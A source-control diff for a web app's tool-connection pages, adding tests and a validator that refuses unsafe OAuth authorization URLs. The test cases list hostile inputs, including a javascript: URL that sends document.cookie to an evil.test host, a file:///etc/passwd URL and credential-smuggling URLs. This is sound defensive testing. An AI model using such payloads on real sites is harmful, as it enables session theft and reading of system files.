+ await expect(page.getByRole("heading", { name: /Install .* tools\?/i })).toBeVisible({ timeout: 20_000 }); + await page.getByRole("button", { name: "Finish setup" }).click(); + await expect(page.getByRole("heading", { name: "Bla is ready." })).toBeVisible({ timeout: 20_000 }); const apps = await request.get(`/api/companies/${seed.companyId}/tools/applications`); const appsBody = await apps.json(); @@ -143,17 +147,37 @@ test.describe.serial("not-connected app page", () => { expect(appConns[0].status).not.toBe("archived"); }); - test("draft app connection stays on provider setup until setup finishes", async ({ page }) => { - await page.goto(`/${seed.prefix}/apps/app/${applicationId}`); - await expect(page).toHaveURL(new RegExp(`/${seed.prefix}/apps/app/${applicationId}/setup$`), { timeout: 20_000 }); - await expect(page.getByText("Not connected", { exact: true })).toBeVisible(); - await expect(page.getByRole("heading", { name: "Connect this app" })).toBeVisible(); + test("draft app connection stays on provider setup until setup finishes", async ({ page, request }) => { + const draftMock = await startMockMcp(); + try { + const draft = await request.post(`/api/companies/${seed.companyId}/tools/apps/connect`, { + data: { + link: draftMock.url, + name: "Draft app", + credentialValues: { "credentials.authorization": "qa-token" }, + }, + }); + expect(draft.ok(), `draft connect failed ${draft.status()}: ${await draft.text()}`).toBe(true); + const draftBody = await draft.json(); + const draftApplicationId = draftBody.application.id as string; + const archive = await request.delete(`/api/tool-connections/${draftBody.connectionId}`); + expect(archive.ok(), `draft archive failed ${archive.status()}: ${await archive.text()}`).toBe(true); + const revive = await request.patch(`/api/tool-applications/${draftApplicationId}`, { data: { status: "active" } }); + expect(revive.ok(), `draft revive failed ${revive.status()}: ${await revive.text()}`).toBe(true); - await page.goto(`/${seed.prefix}/apps/connections`); - const row = page.locator("tbody tr", { hasText: "Bla" }); - await expect(row).toBeVisible({ timeout: 30_000 }); - await expect(row.getByRole("button", { name: "Connect" })).toBeVisible(); - await page.screenshot({ path: `${SCREENSHOT_DIR}/apps-nav-w6-03-reconnected-row.png`, fullPage: true }); + await page.goto(`/${seed.prefix}/apps/app/${draftApplicationId}`); + await expect(page).toHaveURL(new RegExp(`/${seed.prefix}/apps/app/${draftApplicationId}/setup$`), { timeout: 20_000 }); + await expect(page.getByText("Not connected", { exact: true })).toBeVisible(); + await expect(page.getByRole("heading", { name: "Connect this app" })).toBeVisible(); + + await page.goto(`/${seed.prefix}/apps/connections`); + const row = page.locator("tbody tr", { hasText: "Draft app" }); + await expect(row).toBeVisible({ timeout: 30_000 }); + await expect(row.getByRole("button", { name: "Connect" })).toBeVisible(); + await page.screenshot({ path: `${SCREENSHOT_DIR}/apps-nav-w6-03-reconnected-row.png`, fullPage: true }); + } finally { + await draftMock.close(); + } }); test("danger zone on the app page removes the app", async ({ page, request }) => { diff --git a/tests/e2e/apps-prosumer-mcp-flow.spec.ts b/tests/e2e/apps-prosumer-mcp-flow.spec.ts index aa1cd89213..aeef995fd1 100644 --- a/tests/e2e/apps-prosumer-mcp-flow.spec.ts +++ b/tests/e2e/apps-prosumer-mcp-flow.spec.ts @@ -145,7 +145,7 @@ test.describe.serial("prosumer MCP flow prosumer MCP flow", () => { await mock?.close(); }); - test("Connect wizard happy path: link mode → actions → who → success", async ({ page, request }) => { + test("Connect wizard happy path: link mode → access → install → success", async ({ page, request }) => { const seed = await newCompany(request, "connect"); await gotoConnect(page, seed.prefix); @@ -159,48 +159,21 @@ test.describe.serial("prosumer MCP flow prosumer MCP flow", () => { await linkInput.fill(mock.url); await page.getByRole("button", { name: "Continue" }).click(); - // LinkKey step shows the "Connect with a link" heading. Mock doesn't + // LinkKey step shows the guided MCP connection heading. Mock doesn't // require a key — leave the default "No" answer. - await expect(page.getByRole("heading", { name: "Connect with a link" })).toBeVisible({ timeout: 15_000 }); + await expect(page.getByRole("heading", { name: "Connect your own MCP server" })).toBeVisible({ timeout: 15_000 }); await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-02-key-step.png`, fullPage: true }); // Submit (button label is "Check link"). await page.getByRole("button", { name: /Check link/i }).click(); - // Actions step — read-only enabled, write disabled by default. - await expect(page.getByText(/Read only/i)).toBeVisible({ timeout: 30_000 }); - await expect(page.getByText(/Can make changes/i)).toBeVisible(); - await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-03-actions-step.png`, fullPage: true }); - - // Verify our seeded tool labels appear (display name is the descriptor title). - await expect(page.getByText("List widgets")).toBeVisible(); - await expect(page.getByText("Create widget")).toBeVisible(); - - // namespaced tool names: the namespaced write action ("qa10864:create_widget") must be - // classified write and land under "Can make changes" — NOT pre-enabled under - // "Read only". Scope the assertions to each action group. - const readOnlyGroup = page.locator("div.rounded-xl").filter({ hasText: "Read only" }); - const canChangeGroup = page.locator("div.rounded-xl").filter({ hasText: "Can make changes" }); - await expect(canChangeGroup.getByText("Create widget")).toBeVisible(); - await expect(readOnlyGroup.getByText("Create widget")).toHaveCount(0); - await expect(readOnlyGroup.getByText("List widgets")).toBeVisible(); - - // Toggle the write action on so an Ask-first badge appears + the Continue button enables it. - const createToggle = page.getByRole("switch").last(); - await createToggle.click(); - await expect(page.getByText(/Ask first/i)).toBeVisible({ timeout: 5_000 }); - await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-03b-ask-first-on.png`, fullPage: true }); - - // Continue to who-can-use. - await page.getByRole("button", { name: /Continue with .* on/ }).click(); - // Who-can-use step — defaults to All agents. - await expect(page.getByRole("heading", { name: /Who can use/i })).toBeVisible({ timeout: 15_000 }); - await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-04-who-step.png`, fullPage: true }); + await expect(page.getByRole("heading", { name: /Who can use/i })).toBeVisible({ timeout: 30_000 }); + await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-03-who-step.png`, fullPage: true }); await page.getByRole("button", { name: /Continue to install/i }).click(); await expect(page.getByRole("heading", { name: /Install .* tools\?/i })).toBeVisible({ timeout: 15_000 }); - await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-04b-install-step.png`, fullPage: true }); + await page.screenshot({ path: `${SCREENSHOT_DIR}/prosumer-mcp-04-install-step.png`, fullPage: true }); // Finish. await page.getByRole("button", { name: /Finish setup/i }).click(); diff --git a/ui/src/api/tools.ts b/ui/src/api/tools.ts index 47692aec3d..acc06d4e43 100644 --- a/ui/src/api/tools.ts +++ b/ui/src/api/tools.ts @@ -3,6 +3,7 @@ import type { ToolConnection, ToolConnectionInstall, ToolConnectionInstallSnapshot, + ToolConnectionRemovalSummary, ConnectToolAppResult, FinishToolAppResult, ToolCatalogEntry, @@ -290,8 +291,12 @@ export const toolsApi = { api.post(`/companies/${companyId}/tools/connections`, input), updateConnection: (connectionId: string, input: UpdateToolConnectionInput) => api.patch(`/tool-connections/${connectionId}`, input), + // Removal is a credential-revoking teardown (PAP-17119), so the response + // carries the cleanup receipt alongside the archived connection. archiveConnection: (connectionId: string) => - api.delete(`/tool-connections/${connectionId}`), + api.delete( + `/tool-connections/${connectionId}`, + ), checkConnectionHealth: (connectionId: string) => api.post(`/tool-connections/${connectionId}/health-check`, {}), reconnectConnection: (connectionId: string, credentialValues: Record) => diff --git a/ui/src/index.css b/ui/src/index.css index 6e75451d1d..cdf8aca5ef 100644 --- a/ui/src/index.css +++ b/ui/src/index.css @@ -2440,6 +2440,7 @@ span.paperclip-mention-chip[data-mention-kind="external-object"] { * allow ui/src/pages/CompanySkills.tsx — DISCOVERY_ACCENTS palette array feeds skill.color, persisted/compared JS data (SkillCreateDraft), not just a rendered value; also fontSize: Math.round(size * 0.42), computed at runtime from a prop, not a static literal * allow ui/src/components/IssueColumns.tsx — accentColor fallback also feeds pickTextColorForPillBg() contrast math (lib/color-contrast.ts), which needs a real hex string to compute luminance * allow ui/src/components/CompanyPatternIcon.tsx — canvas 2D fillStyle built from a runtime-computed template literal, not a static literal at all + * allow ui/src/components/onboarding/PillGuy.tsx — inline rendering of the approved pill-1 dormant/alive brand SVG assets; their fixed eye, body, tuft, and gradient fills are the illustration artwork rather than themeable interface colors * allow ui/src/components/ui/scroll-area.tsx — rounded-[inherit] is a CSS keyword, not a literal value; nothing to extract * allow ui/src/components/ui/dialog.tsx — tw-animate-css plugin utilities (zoom-in-[0.97], zoom-out-[0.97], slide-in-from-top-[1%], slide-out-to-top-[1%], animate-in, animate-out, fade-in-0, fade-out-0) are dead/no-op classes today (the tw-animate-css plugin is not installed and no matching @utility exists in this file; confirmed via grep of the built storybook-static CSS — none of these class names emit any rule); nothing to tokenize without visually changing a currently-inert class * allow ui/src/components/ui/alert-dialog.tsx — same tw-animate-css dead-class situation as dialog.tsx (zoom-out-[0.97], zoom-in-[0.97]) diff --git a/ui/src/lib/app-gallery-copy.ts b/ui/src/lib/app-gallery-copy.ts index 8807445ef2..37a5f7e757 100644 --- a/ui/src/lib/app-gallery-copy.ts +++ b/ui/src/lib/app-gallery-copy.ts @@ -66,6 +66,10 @@ const APP_COPY: Record = { tagline: "Read and update pages in your workspace.", short: "Read and update pages in your workspace.", }, + posthog: { + tagline: "Explore product usage, errors, flags, and experiments.", + short: "Choose one project and the analytics tools your agents can use.", + }, linear: { tagline: "Create, update and read tickets.", short: "Create, update and read tickets.", diff --git a/ui/src/lib/authorizationUrl.test.ts b/ui/src/lib/authorizationUrl.test.ts new file mode 100644 index 0000000000..f41a396a95 --- /dev/null +++ b/ui/src/lib/authorizationUrl.test.ts @@ -0,0 +1,62 @@ +// @vitest-environment jsdom +import { afterEach, describe, expect, it } from "vitest"; +import { resolveAuthorizationTarget } from "./authorizationUrl"; + +/** + * PAP-17099 — the board's own copy of the endpoint gate. The shared validator is + * tested exhaustively in `@paperclipai/shared`; what matters here is that the + * board applies it, and that its loopback exception follows how the board itself + * is served rather than being unconditional. + */ +function serveBoardOver(protocol: "http:" | "https:") { + Object.defineProperty(window, "location", { + configurable: true, + value: { ...window.location, protocol }, + }); +} + +describe("resolveAuthorizationTarget", () => { + afterEach(() => { + // jsdom's default is a plaintext localhost board. + serveBoardOver("http:"); + }); + + it("accepts an https authorization page and reports its host", () => { + expect(resolveAuthorizationTarget("https://auth.example.test/authorize?state=abc")).toEqual({ + ok: true, + url: "https://auth.example.test/authorize?state=abc", + host: "auth.example.test", + }); + }); + + it.each([ + "javascript:fetch('https://evil.test/'+document.cookie)", + "data:text/html,", + "file:///etc/passwd", + "http://evil.test/authorize", + "https://auth.example.test@evil.test/authorize", + "https://auth.example.test/authorize#@evil.test", + "not-a-url", + "", + null, + undefined, + ])("refuses %s with a message that does not echo it", (value) => { + const target = resolveAuthorizationTarget(value); + expect(target.ok).toBe(false); + if (target.ok) return; + expect(target.message.length).toBeGreaterThan(0); + if (value) expect(target.message).not.toContain(value); + }); + + it("allows a loopback authorization server only on a plaintext-http board", () => { + serveBoardOver("http:"); + expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize").ok).toBe(true); + + serveBoardOver("https:"); + expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize")).toEqual({ + ok: false, + message: expect.stringContaining("secure"), + }); + expect(resolveAuthorizationTarget("https://auth.example.test/authorize").ok).toBe(true); + }); +}); diff --git a/ui/src/lib/authorizationUrl.ts b/ui/src/lib/authorizationUrl.ts new file mode 100644 index 0000000000..6bf23b3b50 --- /dev/null +++ b/ui/src/lib/authorizationUrl.ts @@ -0,0 +1,30 @@ +import { checkOAuthEndpointUrl, oauthEndpointUrlRejectionMessage } from "@paperclipai/shared"; + +export type AuthorizationTarget = + | { ok: true; url: string; host: string } + | { ok: false; message: string }; + +/** + * Vet an authorization URL before it becomes a top-level navigation (PAP-17099). + * + * The server already refuses to hand out an unsafe endpoint, but this is the + * boundary where a bad value would actually execute — `window.location.assign` + * on a `javascript:` URL runs script in the board's origin — so the board checks + * the same rules with the same shared validator rather than trusting the + * response body it just received. + */ +export function resolveAuthorizationTarget(value: string | null | undefined): AuthorizationTarget { + const servedOverHttp = typeof window !== "undefined" && window.location.protocol === "http:"; + const check = checkOAuthEndpointUrl(value ?? null, { + // A board served over plaintext HTTP is a local-development board, where a + // loopback authorization server is exactly what someone is testing against. + // A board served over HTTPS requires HTTPS. + allowInsecureLoopback: servedOverHttp, + // Paperclip's own origin: a first-party authorization endpoint (the smoke-lab + // fixture) is served however the board is, and going to the page you are + // already on adds no exposure. + allowInsecureOrigins: typeof window !== "undefined" ? [window.location.origin] : [], + }); + if (check.ok) return { ok: true, url: check.url, host: check.host }; + return { ok: false, message: oauthEndpointUrlRejectionMessage("authorization", check.reason) }; +} diff --git a/ui/src/pages/apps/AppDetail.test.tsx b/ui/src/pages/apps/AppDetail.test.tsx index c009b0d2a6..d57cf81a3f 100644 --- a/ui/src/pages/apps/AppDetail.test.tsx +++ b/ui/src/pages/apps/AppDetail.test.tsx @@ -6,6 +6,7 @@ import { createRoot } from "react-dom/client"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { AppDetail } from "./AppDetail"; +import { APP_TABS } from "./app-tabs"; const getConnectionMock = vi.hoisted(() => vi.fn()); const getConnectionInstallsMock = vi.hoisted(() => vi.fn()); @@ -88,8 +89,9 @@ vi.mock("@/context/BreadcrumbContext", () => ({ useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }), })); +const pushToastMock = vi.hoisted(() => vi.fn()); vi.mock("@/context/ToastContext", () => ({ - useToast: () => ({ pushToast: vi.fn() }), + useToast: () => ({ pushToast: pushToastMock }), })); // eslint-disable-next-line @typescript-eslint/no-explicit-any @@ -244,7 +246,7 @@ describe("AppDetail", () => { startOAuthMock.mockResolvedValue({ connectionId: "conn-1", provider: "smoke_lab", - authorizationUrl: "http://example.test/oauth", + authorizationUrl: "https://example.test/oauth", expiresAt: "2026-07-10T00:00:00.000Z", }); }); @@ -268,6 +270,17 @@ describe("AppDetail", () => { await flushReact(); } + it("places Test immediately below Setup", () => { + expect(APP_TABS.map((tab) => tab.key)).toEqual([ + "setup", + "test", + "review", + "permissions", + "activity", + "advanced", + ]); + }); + it("pauses the app by flipping the connection enabled flag", async () => { await renderAppDetail(); @@ -284,6 +297,23 @@ describe("AppDetail", () => { expect(updateConnectionMock).toHaveBeenCalledWith("conn-1", { enabled: false }); }); + it("keeps the unverified-server marker on URL-only connection details", async () => { + getConnectionMock.mockResolvedValue( + connection({ + name: "127.0.0.1", + config: { url: "http://127.0.0.1:8848/mcp" }, + transportConfig: { url: "http://127.0.0.1:8848/mcp" }, + }), + ); + + await renderAppDetail(); + + expect(container.textContent).toContain("Custom app"); + expect(container.textContent).toContain("hosted at 127.0.0.1"); + expect(container.textContent).toContain("Unverified server"); + expect(container.textContent).toContain("127.0.0.1:8848"); + }); + it("redirects a missing tab to setup", async () => { mockParams.tab = undefined; @@ -293,19 +323,41 @@ describe("AppDetail", () => { }); it.each([ - ["setup", "Agents can use this app"], - ["review", "Review 1 new action"], - ["permissions", "Action permissions"], - ["activity", "No activity yet."], - ["advanced", "Technical details"], - ])("renders the %s tab panel", async (tab, expectedText) => { + ["setup", "Agents can use this app", false], + ["review", "Review 1 new action", true], + ["permissions", "Action permissions", true], + ["activity", "No activity yet.", false], + ["advanced", "Technical details", false], + ])("renders the %s tab panel", async (tab, expectedText, showsActionCount) => { mockParams.tab = tab; await renderAppDetail(); expect(container.textContent).toContain("GitHub"); - expect(container.textContent).toContain("2 actions available"); + expect(container.textContent?.includes("2 actions available")).toBe(showsActionCount); expect(container.textContent).toContain(expectedText); + expect(container.querySelector("section.bg-card")).toBeNull(); + }); + + it("renders setup without waiting for tool discovery", async () => { + listCatalogMock.mockImplementation(() => new Promise(() => undefined)); + + await renderAppDetail(); + + expect(container.textContent).toContain("Agents can use this app"); + expect(container.textContent).not.toContain("Loading tools"); + expect(listCatalogMock).not.toHaveBeenCalled(); + }); + + it("shows an explicit lazy-loading state while a tool tab discovers actions", async () => { + mockParams.tab = "permissions"; + listCatalogMock.mockImplementation(() => new Promise(() => undefined)); + + await renderAppDetail(); + + expect(container.textContent).toContain("GitHub"); + expect(container.textContent).toContain("Loading tools…"); + expect(container.textContent).not.toContain("Action permissions"); }); it("hides secret URL parameters in advanced technical details", async () => { @@ -403,6 +455,7 @@ describe("AppDetail", () => { expect(container.textContent).toContain("Agents can use this app"); expect(container.textContent).not.toContain("Read repo"); expect(container.textContent).not.toContain("Action permissions"); + expect(container.querySelector("section.bg-card")).toBeNull(); }); it("shows the Smoke OAuth connection action for the installed HTTP fixture", async () => { @@ -533,6 +586,7 @@ describe("AppDetail", () => { const writeSelect = container.querySelector('select[aria-label="Write issue permission"]'); expect(readSelect?.value).toBe("allowed"); expect(writeSelect?.value).toBe("ask"); + expect(container.querySelector("section.bg-card")).toBeNull(); }); it("persists ask-first for read-only actions from the unified dropdown", async () => { @@ -795,6 +849,47 @@ describe("AppDetail", () => { await flushReact(); expect(startOAuthMock).toHaveBeenCalledWith("conn-1"); - expect(navigateTopLevelMock).toHaveBeenCalledWith("http://example.test/oauth"); + expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth"); + }); + + /** + * PAP-17099 — the server refuses to hand out an unsafe authorization endpoint, + * but this is the boundary where one would actually execute, so the board must + * refuse it independently of what the response body says. + */ + it.each([ + ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"], + ["data:", "data:text/html,"], + ["file:", "file:///etc/passwd"], + ["plaintext http", "http://evil.test/authorize"], + ["credentials", "https://accounts.example.test@evil.test/authorize"], + ])("never navigates to a %s authorization url", async (_label, authorizationUrl) => { + mockParams.tab = "permissions"; + getConnectionMock.mockResolvedValue(connection({ + authKind: "oauth", + healthStatus: "failed", + healthMessage: "Authorization expired (invalid_grant).", + })); + startOAuthMock.mockResolvedValue({ + connectionId: "conn-1", + provider: "generic", + authorizationUrl, + expiresAt: "2026-07-10T00:00:00.000Z", + }); + + await renderAppDetail(); + await act(async () => { + Array.from(container.querySelectorAll("button")) + .find((button) => button.textContent?.trim() === "Reconnect") + ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + expect(navigateTopLevelMock).not.toHaveBeenCalled(); + expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" })); + // The refusal explains itself without echoing the hostile URL back into the DOM. + const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? ""); + expect(body.length).toBeGreaterThan(0); + expect(body).not.toContain(authorizationUrl); }); }); diff --git a/ui/src/pages/apps/AppDetail.tsx b/ui/src/pages/apps/AppDetail.tsx index 432fe8a57b..acfc06bbd2 100644 --- a/ui/src/pages/apps/AppDetail.tsx +++ b/ui/src/pages/apps/AppDetail.tsx @@ -22,12 +22,14 @@ import { accessApi } from "@/api/access"; import { authApi } from "@/api/auth"; import { buildCompanyUserLabelMap } from "@/lib/company-members"; import { installPayload, installStateFrom, type InstallState } from "@/lib/tool-installs"; +import { resolveAuthorizationTarget } from "@/lib/authorizationUrl"; import { navigateTopLevel } from "@/lib/browserNavigation"; import { Button } from "@/components/ui/button"; import { Input } from "@/components/ui/input"; import { Skeleton } from "@/components/ui/skeleton"; import { cn } from "@/lib/utils"; import { AppLogo } from "./AppLogo"; +import { UnverifiedServerBadge } from "./UnverifiedServerBadge"; import { appDefinitionLogoUrl, appDefinitionName, @@ -60,6 +62,7 @@ export function AppDetail() { const { setBreadcrumbs } = useBreadcrumbs(); const activeTab: AppTabKey | null = isAppTabKey(tab) ? tab : null; + const needsCatalog = activeTab === "review" || activeTab === "permissions" || activeTab === "test"; const connectionQuery = useQuery({ queryKey: queryKeys.tools.connection(connectionId), @@ -79,22 +82,22 @@ export function AppDetail() { const catalogQuery = useQuery({ queryKey: queryKeys.tools.catalog(connectionId), queryFn: () => toolsApi.listCatalog(connectionId), - enabled: !!connectionId && !!activeTab, + enabled: !!connectionId && needsCatalog, }); const profilesQuery = useQuery({ queryKey: queryKeys.tools.profiles(selectedCompanyId ?? "__none__"), queryFn: () => toolsApi.listProfiles(selectedCompanyId!), - enabled: !!selectedCompanyId && !!activeTab, + enabled: !!selectedCompanyId && (activeTab === "review" || activeTab === "permissions"), }); const policiesQuery = useQuery({ queryKey: queryKeys.tools.policies(selectedCompanyId ?? "__none__"), queryFn: () => toolsApi.listPolicies(selectedCompanyId!), - enabled: !!selectedCompanyId && !!activeTab, + enabled: !!selectedCompanyId && (activeTab === "review" || activeTab === "permissions"), }); const agentsQuery = useQuery({ queryKey: queryKeys.agents.list(selectedCompanyId ?? "__none__"), queryFn: () => agentsApi.list(selectedCompanyId!), - enabled: !!selectedCompanyId && !!activeTab, + enabled: !!selectedCompanyId && (activeTab === "permissions" || activeTab === "activity"), }); const activityQuery = useQuery({ queryKey: queryKeys.tools.connectionActivity(connectionId), @@ -246,7 +249,14 @@ export function AppDetail() { const startOAuth = useMutation({ mutationFn: () => toolsApi.startOAuth(connectionId), onSuccess: ({ authorizationUrl }) => { - navigateTopLevel(authorizationUrl); + // Checked again at the navigation boundary (PAP-17099): the address came + // from the remote server, and this is where an unsafe scheme would run. + const target = resolveAuthorizationTarget(authorizationUrl); + if (!target.ok) { + pushToast({ title: "Couldn't start sign-in", body: target.message, tone: "error" }); + return; + } + navigateTopLevel(target.url); }, onError: (error) => pushToast({ @@ -264,7 +274,7 @@ export function AppDetail() { queryClient.invalidateQueries({ queryKey: queryKeys.apps.attention(selectedCompanyId!) }); pushToast({ title: "App removed", - body: `${appName} no longer has access. You can connect it again any time.`, + body: `${appName} no longer has access and its credentials are deleted. Connecting it again needs a new sign-in or key.`, tone: "success", }); navigate("/apps/connections"); @@ -350,7 +360,7 @@ export function AppDetail() { if (!selectedCompanyId) { return
Select an organization to manage apps.
; } - if (connectionQuery.isLoading || catalogQuery.isLoading) { + if (connectionQuery.isLoading) { return (
@@ -376,7 +386,11 @@ export function AppDetail() { const active = catalog.filter((e) => e.status !== "quarantined" && e.status !== "removed"); const readOnly = active.filter((e) => e.isReadOnly); const canChange = active.filter((e) => !e.isReadOnly); - const actionCount = active.length; + const actionCount = catalogQuery.data ? active.length : null; + const reviewLoading = catalogQuery.isLoading || profilesQuery.isLoading || policiesQuery.isLoading; + const permissionsLoading = reviewLoading || installsQuery.isLoading || agentsQuery.isLoading; + const reviewFailed = catalogQuery.isError || profilesQuery.isError || policiesQuery.isError; + const permissionsFailed = reviewFailed || installsQuery.isError || agentsQuery.isError; return (
@@ -426,36 +440,58 @@ export function AppDetail() { /> )} {activeTab === "review" && ( - + reviewFailed + ? { + void catalogQuery.refetch(); + void profilesQuery.refetch(); + void policiesQuery.refetch(); + }} /> + : reviewLoading + ? + : )} {activeTab === "permissions" && ( - apply({ access: next })} - onSaveInstall={(next) => persistInstall.mutate(next)} - onRefreshActions={() => refreshTools.mutate()} - onSetActionPermission={(id, next) => apply(actionPermissionMutation(id, next, enabledIds, askFirstIds))} - onReviewQuarantined={reviewQuarantined} - /> + permissionsFailed + ? { + void catalogQuery.refetch(); + void profilesQuery.refetch(); + void policiesQuery.refetch(); + void installsQuery.refetch(); + void agentsQuery.refetch(); + }} /> + : permissionsLoading + ? + : apply({ access: next })} + onSaveInstall={(next) => persistInstall.mutate(next)} + onRefreshActions={() => refreshTools.mutate()} + onSetActionPermission={(id, next) => apply(actionPermissionMutation(id, next, enabledIds, askFirstIds))} + onReviewQuarantined={reviewQuarantined} + /> )} {activeTab === "test" && ( - + catalogQuery.isError + ? { void catalogQuery.refetch(); }} /> + : catalogQuery.isLoading + ? + : )} {activeTab === "activity" && ( void; onRenameSubmit: (value: string) => void; }) { + const unverifiedHost = unverifiedRemoteHost(connection); + return (
@@ -559,11 +597,14 @@ function AppDetailHeader({ {connectionDisplaySecondaryHint(connection) && (

{connectionDisplaySecondaryHint(connection)}

)} + {unverifiedHost ? : null}
- - {actionCount} {actionCount === 1 ? "action" : "actions"} available - + {actionCount !== null && ( + + {actionCount} {actionCount === 1 ? "action" : "actions"} available + + )}
@@ -571,6 +612,46 @@ function AppDetailHeader({ ); } +function ToolsLoading() { + return ( +
+ + Loading tools… +
+ ); +} + +function ToolsLoadError({ onRetry }: { onRetry: () => void }) { + return ( +
+

Couldn’t load tools for this app.

+ +
+ ); +} + +function unverifiedRemoteHost(connection: ToolConnection): string | null { + const sourceTemplateKey = connection.config?.sourceTemplateKey ?? connection.transportConfig.sourceTemplateKey; + if ( + connection.transport !== "mcp_remote" + || (typeof sourceTemplateKey === "string" && sourceTemplateKey.trim()) + ) return null; + + const value = connection.config?.url + ?? connection.config?.endpoint + ?? connection.config?.remoteUrl + ?? connection.transportConfig.url + ?? connection.transportConfig.endpoint + ?? connection.transportConfig.remoteUrl; + if (typeof value !== "string") return null; + + try { + return new URL(value).host || null; + } catch { + return null; + } +} + type StatusInfo = { label: string; tone: "connected" | "attention" | "paused" }; function statusFor(connection: ToolConnection): StatusInfo { diff --git a/ui/src/pages/apps/AppNotConnected.test.tsx b/ui/src/pages/apps/AppNotConnected.test.tsx index 684cb2283a..78283ec281 100644 --- a/ui/src/pages/apps/AppNotConnected.test.tsx +++ b/ui/src/pages/apps/AppNotConnected.test.tsx @@ -245,6 +245,37 @@ describe("AppNotConnected", () => { ); }); + it("does not group unrelated generic link applications", async () => { + listApplicationsMock.mockResolvedValue({ + applications: [ + application({ + id: "app-1", + applicationKey: "app-gallery:link:first", + name: "First server", + metadata: { source: "link" }, + }), + application({ + id: "app-2", + applicationKey: "app-gallery:link:second", + name: "Second server", + metadata: { source: "link" }, + }), + ], + }); + listConnectionsMock.mockResolvedValue({ + connections: [ + connection({ id: "conn-old", applicationId: "app-1", status: "archived" }), + connection({ id: "conn-live", applicationId: "app-2", status: "active" }), + ], + }); + + await renderPage(); + + expect(container.textContent).toContain("Not connected"); + expect(container.textContent).toContain("Reconnect this app"); + expect(container.textContent).not.toContain("Already connected to First server"); + }); + it.each([ ["setup", "Reconnect this app"], ["review", "Nothing is waiting for your OK right now."], diff --git a/ui/src/pages/apps/AppsConnect.test.tsx b/ui/src/pages/apps/AppsConnect.test.tsx index b05e2c25bf..75987fa12f 100644 --- a/ui/src/pages/apps/AppsConnect.test.tsx +++ b/ui/src/pages/apps/AppsConnect.test.tsx @@ -5,6 +5,7 @@ import { createRoot } from "react-dom/client"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { CONNECTABLE_APP_DEFINITIONS } from "@paperclipai/shared"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { ApiError } from "@/api/client"; import { queryKeys } from "@/lib/queryKeys"; import { AppsConnect } from "./AppsConnect"; @@ -23,6 +24,7 @@ const mockParams = vi.hoisted(() => ({ appKey: undefined as string | undefined } const ZAPIER = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "zapier")!; const NOTION = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "notion")!; +const POSTHOG = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "posthog")!; const GOOGLE_SHEETS = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "google-sheets")!; vi.mock("@/api/tools", () => ({ @@ -190,7 +192,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { await render(); await gotoLinkFrame(container, "https://www.example.com/actions"); - expect(container.textContent).toContain("Connect with a link"); + expect(container.textContent).toContain("Connect your own MCP server"); expect(container.textContent).toContain("https://www.example.com/actions"); expect(container.textContent).toContain("Does it need a key?"); expect(buttonByText("No")).toBeTruthy(); @@ -200,7 +202,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { const nameInput = Array.from(container.querySelectorAll("input")).find( (i) => i.getAttribute("placeholder") === "My app", ); - expect(nameInput?.value).toBe("example.com"); + expect(nameInput?.value).toBe("example.com/actions"); }); it("opens the selected app directly on its setup route", async () => { @@ -211,6 +213,66 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { expect(container.textContent).not.toContain("Pick the app you want your agents to use."); }); + it("requires a PostHog method and submits the selected project scope", async () => { + mockParams.appKey = "posthog"; + listGalleryMock.mockResolvedValueOnce({ apps: [POSTHOG] }); + await render(); + + expect(container.textContent).toContain("How do you want to connect?"); + expect(buttonByText("Sign in with PostHog")?.getAttribute("aria-pressed")).toBe("false"); + expect(buttonByText("Use a personal API key")?.getAttribute("aria-pressed")).toBe("false"); + expect(buttonByText("Connect")?.disabled).toBe(true); + + await act(async () => { + buttonByText("Use a personal API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + const projectInput = container.querySelector('input[placeholder="12345"]'); + const keyInput = container.querySelector('input[type="password"]'); + const advanced = buttonByText("Advanced"); + expect(projectInput).toBeTruthy(); + expect(keyInput).toBeTruthy(); + expect(container.querySelector('[role="switch"]')?.getAttribute("aria-checked")).toBe("false"); + expect(advanced?.getAttribute("aria-expanded")).toBe("false"); + expect(container.textContent).not.toContain("Feature groups"); + expect(container.textContent).not.toContain("Individual tools"); + expect(container.textContent).not.toContain("Tool response mode"); + + await act(async () => { + advanced?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + expect(advanced?.getAttribute("aria-expanded")).toBe("true"); + expect(container.textContent).toContain("Feature groups"); + expect(container.textContent).toContain("Individual tools"); + expect(container.textContent).toContain("Tool response mode"); + + await act(async () => { + setInputValue(projectInput!, "12345"); + setInputValue(keyInput!, "phx_test-key"); + }); + await flushReact(); + await act(async () => { + buttonByText("Connect")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + expect(connectAppMock).toHaveBeenCalledWith("company-1", { + galleryKey: "posthog", + connectionMethodKey: "mcp-api-key", + name: "PostHog", + credentialValues: { "credentials.authorization": "phx_test-key" }, + configValues: { + projectId: "12345", + readOnly: false, + mode: "tools", + }, + applicationId: undefined, + }); + }); + it("auto-starts the allowlisted Notion source deep link and opens provider sign-in", async () => { 